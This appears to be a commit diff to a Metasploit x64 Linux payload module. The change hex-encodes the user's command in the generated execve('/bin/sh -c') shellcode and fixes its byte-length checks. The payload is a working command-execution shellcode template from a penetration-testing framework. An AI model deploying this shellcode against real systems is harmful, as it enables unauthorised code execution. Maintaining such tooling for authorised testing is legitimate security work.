@@ -39,6 +39,8 @@ def initialize(info = {})
3939
4040 def generate ( _opts = { } )
4141 cmd = datastore [ 'CMD' ] || ''
42+ cmd_length = cmd . bytesize
43+ cmd = cmd . bytes . map { |byte | '0x%02x' % byte } . join ( ', ' )
4244 nullfreeversion = datastore [ 'NullFreeVersion' ]
4345
4446 if cmd . empty?
@@ -93,19 +95,20 @@ def generate(_opts = {})
9395 pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
9496
9597 if nullfreeversion
96- if cmd . length > 0xffff
98+ if cmd_length > 0xffff
9799 raise RangeError , 'CMD length has to be smaller than %d' % 0xffff , caller
98100 end
99101
100- if cmd . length <= 0xff # 255
102+ if cmd_length <= 0xff # 255
101103 breg = 'bl'
102104 else
103105 breg = 'bx'
104- if ( cmd . length & 0xff ) == 0 # let's avoid zeroed bytes
105- cmd += ' '
106+ if ( cmd_length & 0xff ) == 0 # let's avoid zeroed bytes
107+ cmd += ', 0x20'
108+ cmd_length += 1
106109 end
107110 end
108- mov_cmd_len_to_breg = "mov #{ breg } , #{ cmd . length } "
111+ mov_cmd_len_to_breg = "mov #{ breg } , #{ cmd_length } "
109112
110113 # 48 bytes without cmd (null-free)
111114 payload = <<-EOS
@@ -144,7 +147,7 @@ def generate(_opts = {})
144147 syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
145148 tocall:
146149 call afterjmp
147- db " #{ cmd } " ; arbitrary command
150+ db #{ cmd } ; arbitrary command
148151 EOS
149152 else
150153 # 37 bytes without cmd (not null-free)
@@ -163,7 +166,7 @@ def generate(_opts = {})
163166
164167 push rdx ; NULL
165168 call continue
166- db " #{ cmd } " , 0x00 ; arbitrary command
169+ db #{ cmd } , 0x00 ; arbitrary command
167170 continue:
168171 push rsi ; "-c"
169172 push rdi ; "/bin/sh"
0 commit comments